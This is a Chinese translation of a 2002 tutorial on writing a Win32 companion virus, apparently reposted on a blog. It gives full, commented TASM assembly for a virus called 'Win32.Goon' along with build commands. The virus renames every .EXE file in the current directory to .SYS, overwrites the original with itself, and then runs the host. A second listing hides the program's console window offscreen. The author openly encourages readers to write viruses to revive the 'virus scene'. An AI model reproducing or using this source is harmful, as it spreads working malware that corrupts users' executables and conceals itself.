怎么编写简单的Win32伴侣病毒

____________________________________________________________________________________________
                           ...:: 怎么编写简单的Win32伴侣病毒 ::...
                                     by  DiA /auXnet
                                     (c)02 [GermanY]
                                     译:fqh
____________________________________________________________________________________________
译者的话:
1. 因为格式问题,本文需用“写字板”打开才能正常阅读
2. 本人只是翻译他人文章,对任何人利用本文造成不良后果不负任何责任!
3. 以下,即原文开始:

朋友们好,
今天我在29A#6中读到了Benny写的一篇文章。它题目是“病毒界的现状”。我对此进行了思考,而后我决然写这
篇教程!因为我想通过这个教程分享我所有的病毒知识。这个教程并不适于了解了本文所述更多内容更多的朋友,
但对于初学者和新手(像我)来说本文有益。是的,希望如此!当我的知识水平更进一步(下一步学习PE)后,我会
写下全部所懂与大家分享。现在,教程开始,希望它对你有所帮助并能坚持看完它->你必须坚持!


+++++声明+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
你可以引用本文代码,但如果你想....的话,我对你因本文造成的任何破坏不负任何责任!
我的母语不是英语,希望你能理解我话的意思.如果有任何建议可写信至 DiA_hates_machine@gmx.de

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

.....................................................
.                                                   .
. 索引:  _1_  :  什么是伴侣病毒                      .
.                                                   .
.        _2_  :  伴侣病毒如何工作的                  .
.                                                   .
.        _3_  :  带注释的病毒例子                    .
.                                                   .
.        _4_  :  结束语                             .
.                                                   .
.       _666_ :  附加 [Fuck da Window]              .
.                                                   .
.....................................................


*** _1_ : 什么是伴侣病毒 ***

伴侣病毒不改变宿主程序的代码,也没有添加代码,挂起或者其他任何动作。它仅仅是重命名宿主程序,然后把
自己复制为宿主程序原来的文件名.当你运行程序时,病毒会首先运行,当它所有工作完成,才接着运行宿主程序
。你可以把宿主和病毒两者的文件名都重命名回原先的文件名,这样宿主程序就能恢复正常。下面给出全过程的原
理图。

第一步:

   /-------------/                            /-----------/
   |             |                           |            |
   | Program.EXE | ;目标文件的              | Virus.EXE  | ;我们必须了解病毒文件中的
   |             | ;原先文件名              |            | ;API函数: GetCommandLineA
   /-------------/                            /-----------/

第二步:

   /-------------/                            /-----------/
   |             |                            |           |
   | Program.EXE |                            | Virus.EXE |
   |             |                            |           |
   /-------------/                            /-----------/
          |
          |
       复制为
          |
          |
   /-------------/
   |             |
   | Program.SYS |
   |             |
   /-------------/

第三步:

   /-------------/                           /-----------/
   |             |                           |           |
   | Program.EXE |<---------复制为-----------| Virus.EXE |
   |             |                           |           |
   /-------------/                           /-----------/

恢复方法:
删除Program.EXE
把Program.SYS重命名回Program.EXE

所做就这些了...


*** _2_ : 伴侣病毒如何工作的 ***

1. 获取病毒文件的文件名
2. 创建宿主文件的原先文件名
3. 在当前目录搜索到第一个文件
4. 将目标文件复制为另一个文件名
5. 把病毒文件复制为目标文件的原先文件名
6. 搜索下一个文件->重复4. -->没有其他文件 跳到7.
7. 运行宿主程序 (经过了步 2.)
8. 病毒退出

*** _3_ : 带注释的病毒例子 ***

理论够充足了!让我们看它怎么工作...

编译方法:

  TASM32 /z /ml /m3 Goon,,;
  TLINK32 -Tpe -c Goon,Goon,, import,lib


;-----cut----------------------------------------Goon.asm-----------------------------------

.386     ;386指令集
.model flat    ;内存平坦模式
jumps     ;TASM rulez

;+++++
; 你能理解,我想 :)
;+++++


extrn GetCommandLineA :PROC  ;获取病毒文件和宿主文件
extrn lstrcpyA  :PROC  ;复制字符串
extrn FindFirstFileA :PROC  ;搜索当前目录第一个匹配的文件
extrn FindNextFileA :PROC  ;通过文件句柄搜索下一个文件
extrn CopyFileA  :PROC  ;复制文件 (往上看 _2_)
extrn CreateProcessA :PROC  ;运行宿主
extrn ExitProcess :PROC  ;退出病毒程序

;+++++
; 这里,我们声明必需的API函数
; 我想你能理解
;+++++


.data
Goon   db 'Win32.Goon - Virus',0
   db 'Only a Example Code',0
   db 'by  DiA/auXnet',0


FILETIME  STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME  ENDS

WIN32_FIND_DATA          label    byte
 WFD_dwFileAttributes    dd       ?
 WFD_ftCreationTime      FILETIME ?
 WFD_ftLastAccessTime    FILETIME ?
 WFD_ftLastWriteTime     FILETIME ?
 WFD_nFileSizeHigh       dd       ?
 WFD_nFileSizeLow        dd       ?
 WFD_dwReserved0         dd       ?
 WFD_dwReserved1         dd       ?
 WFD_szFileName          db       260d dup (?)
 WFD_szAlternateFileName db       13   dup (?)
 WFD_szAlternateEnding   db       03   dup (?)

;+++++
; 这是 Win32 Find data:
; 这里保存关于目标文件的所有数据
; 我们仅仅对包含目标文件的名称的"WFD_szFileName"
; 记住我们必须复制目标文件成另外一个文件名,
; 而把病毒复制成目标文件最先的文件名
;+++++


VirusFile  db 260d dup (0)
HostFile  db 260d dup (0)
HostCopy  db 260d dup (0)

;+++++
; 这里创建文件名的空间:病毒文件名,宿主文件名,
; 还有我们必须创建的文件名(从目标文件复制)
;+++++


FileMask  db '*.EXE',0
FindHandle  dd 0
ProcessInfo  dd 4 dup (0)
StartupInfo  dd 4 dup (0)

;+++++
; 包含我们必须搜索的文件
; FileHandle 包含搜索的文件的句柄 (FindNextFileA)
; ProcessInfo and StartupInfo 仅仅是为了运行宿主 (不重要)
;+++++


.code
start:

;+++++
; ROCK 'N ROLL =)
;+++++


call GetCommandLineA

;+++++
; 这里我们获取包含正在运行的程序文件名的CommandLine
; (病毒文件 :). 现在,line 在eax了, 看下一步...
;+++++


inc eax     ; fuck da "
push eax
push offset VirusFile
call lstrcpyA    ;复制它

;+++++
; 为什么要'inc eax'???
; 因为CommandLine类似这样:"C:/LUCI/HELL.EXE" (包含 ")
; 我们不能运行,复制带有"的程序,所以我们走到前面一个地方
; 它从eax复制到VirusFile
;+++++


mov esi,offset VirusFile  ;now in esi
call GetPoint    ;call a kewl procedure ;)

;+++++
; we must find da point to fuck the other "
; 让我们看看...
;+++++


mov dword ptr [esi+4],00000000d  ;清除它

;+++++
; 我们走到.EXE后面并清除"号
; ->现在我们得到完整funcional VirusFile
;+++++


push offset VirusFile
push offset HostFile
call lstrcpyA

;+++++
; 把文件名复制到HostFile, 这样我们可以改变它并得到真的Host文件名 (.SYS)
; ...
;+++++


mov esi,offset HostFile
call GetPoint

;+++++
; 得到指针...
;+++++


mov dword ptr [esi],5359532Eh  ;5359532Eh = 'SYS.'

;+++++
; 把它重命名为 .SYS (last 4 letters with point)
; 现在我们得到HostFile, 可能运行宿主...
; ...但是等等! 我们必须感染文件!!!
;+++++


push offset WIN32_FIND_DATA
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax  ;保存句柄

;+++++
; 如果你不懂WIN32_FIND_DATA and FileMask,请往上看...
; Call后Find Handle保存在eax中, FindNextFileA还要用到,我们保存它...
;+++++


FindNext:
test eax,eax    ;还有文件?
jz RunHost    ;如果没有就跳到RunHost

;+++++
; 当eax是null,说明当前目录里没有更多的文件可以被感染了
; 所有的文件都感染后就运行宿主
;+++++


push offset WFD_szFileName
push offset HostCopy
call lstrcpyA

;+++++
; 得制 WFD_szFileName 到 HostCopy 来重命名和复制它
;+++++


mov esi,offset HostCopy
call GetPoint

;+++++
; 得到指针来重命名文件名为.SYS
; 稍后使用它复制原先的文件为宿主文件
;+++++


mov dword ptr [esi],5359532Eh  ; SYS.

;+++++
; 把它重命名为 .SYS (last 4 letters)
; 现在我们做所以工作完成感染目标文件:
; 病毒文件名
; 原先文件名
; 重命名目标文件名
; rock 'n roll =)
;+++++


push 1     ;如果文件已存在就不复制
push offset HostCopy
push offset WFD_szFileName
call CopyFileA

;+++++
; 现在我们复制.EXE文件为.EXE文件,宿主文件在.sys
; 如果文件已经存在,我们就不要复制它,我们不能复制它两次
;+++++


push 0     ;无条件复制
push offset WFD_szFileName
push offset VirusFile
call CopyFileA

;+++++
; 我们复制病毒为目标.EXE文件
; 无条件复制,因为我们不能有两个宿主而没有病毒
;+++++


push offset WIN32_FIND_DATA
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext

;+++++
; 你还记得我们保存FindHandle吧...
; 我们搜索更多的文件!
; 跳到FindNext并检查更多的文件
;+++++


RunHost:
xor eax,eax    ;null
push offset ProcessInfo   ;这个,我们不感兴趣
push offset StartupInfo   ;...
push eax
push eax
push 00000010h    ;创建进程
push eax
push eax
push eax
push offset HostFile
push offset HostFile   ;运行它
call CreateProcessA

;+++++
; 记住我们重命名病文件为宿主文件(.SYS), 现在我们通过这个名运行
;+++++


push 0
call ExitProcess

;+++++
; 所有这些做完,我们把控制交给宿主
;+++++


GetPoint:
cmp byte ptr [esi],'.'   ;point?
jz FoundPoint    ;je return
inc esi     ;scan next place
jmp GetPoint
FoundPoint:
ret     ;return

;+++++
; at last the GetPoint procedure...
; scan for '.' and if found return to place where are called
;+++++


end start

;+++++
; 晚安
;+++++

;-----cut-----------------------------------------------------------------------------------


*** _4_ : 结束语 ***

嗯,教程完毕。现在你可以写Win32伴侣病毒了。继续写代码,不断学习...读Benny的文章,
你想坚持下去;)我们必须帮助病毒界在不久将来重放光芒!!!

向Benny/29A表示致谢- 是你用杰出的文章激发我写下这篇教程

谢谢阅读...

*** _666_ : 附加 [Fuck da Window] ***


下面给出一种隐藏病毒的简单方法(你知道...  控制台)
;-----cut-----FuckW.asm---------------------------------------------------------------------

.386
.model flat
jumps

;+++++
; bla bla bla
;+++++


extrn SetConsoleTitleA :PROC
extrn FindWindowA :PROC
extrn SetWindowPos :PROC
extrn Sleep  :PROC

;+++++
; needed API's from the FuckWindow procedure
;+++++


extrn MessageBoxA :PROC
extrn ExitProcess :PROC

;+++++
; 这里是其他API
; 仅仅是显示它在工作,还有退出
;+++++


.data
oTitle   db 'Only to Show...',0
oMsg   db 'See you a Window in the Back?',10,13
   db 'No, thats good, hee?',10,13
   db '              DiA /auXnet',0

;+++++
; 仅仅是摆下姿态 ;)
;+++++


NewConsoleTitle  db '[ANVX]',0
WindowHandle  dd 0

;+++++
; 这里是一个新的控制台标题(任何你想的...)
; 还有WindowHandle,用来保存句柄
;+++++


.code
start:

;+++++
; 这是你掌握的...
;+++++


call FuckWindow

;+++++
; 我们调用这个函数,首先快速隐藏窗体
;+++++


push 0
push offset oTitle
push offset oMsg
push 0
call MessageBoxA

push 0
call ExitProcess

;+++++
; 在这时写下你的代码,任何你想写的...
;+++++

FuckWindow:    ;函数
push offset NewConsoleTitle
call SetConsoleTitleA

;+++++
; 这里是隐藏窗体的函数
; 首先我们认定一个新的控制台标题,我们知道窗体必须隐藏
;+++++


call Sleep5    ;过程

;+++++
; 短短的休眠(5 mil sek)它能更好地工作
;+++++


push offset NewConsoleTitle
push 0
call FindWindowA
mov dword ptr [WindowHandle],eax ;句柄

;+++++
; 往上看!我们定义一个新的控制台标题...
; 现在我们搜索窗体(NewConsoleTitle)并保存 WindowHandle
;+++++


call Sleep5

;+++++
; 休眠是很好的...
;+++++


push 0
push 1     ;窗体高度
push 1     ;窗体宽度
push 20000    ;Y
push 20000    ;X
push 0
push dword ptr [WindowHandle]
call SetWindowPos
ret

;+++++
; 通过SetWindowPos隐藏窗体
; 窗体的高和宽是1 (看不到了 :)
; 还有xy坐标是20000 . 在屏幕外面了 =)
; 返回...
;+++++


Sleep5:
push 5
call Sleep
ret

;+++++
; 容易, sleep 5mil sek
; 返回...
;+++++

end start

;-----cut-----------------------------------------------------------------------------------

...编译方法:
   TASM32 /z /ml /m3 YourProc,,;
   TLINK32 -Tpe -c -aa YourProc,YourProc,, import32.lib

效果-> 现在不是一个"控制台", 它运行在"窗体"下...
         完毕。查看TASM说明!


祝你好运...
继续写代码...
                                     _________________

                                     DiA /auXnet (c)02
                                     _________________

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值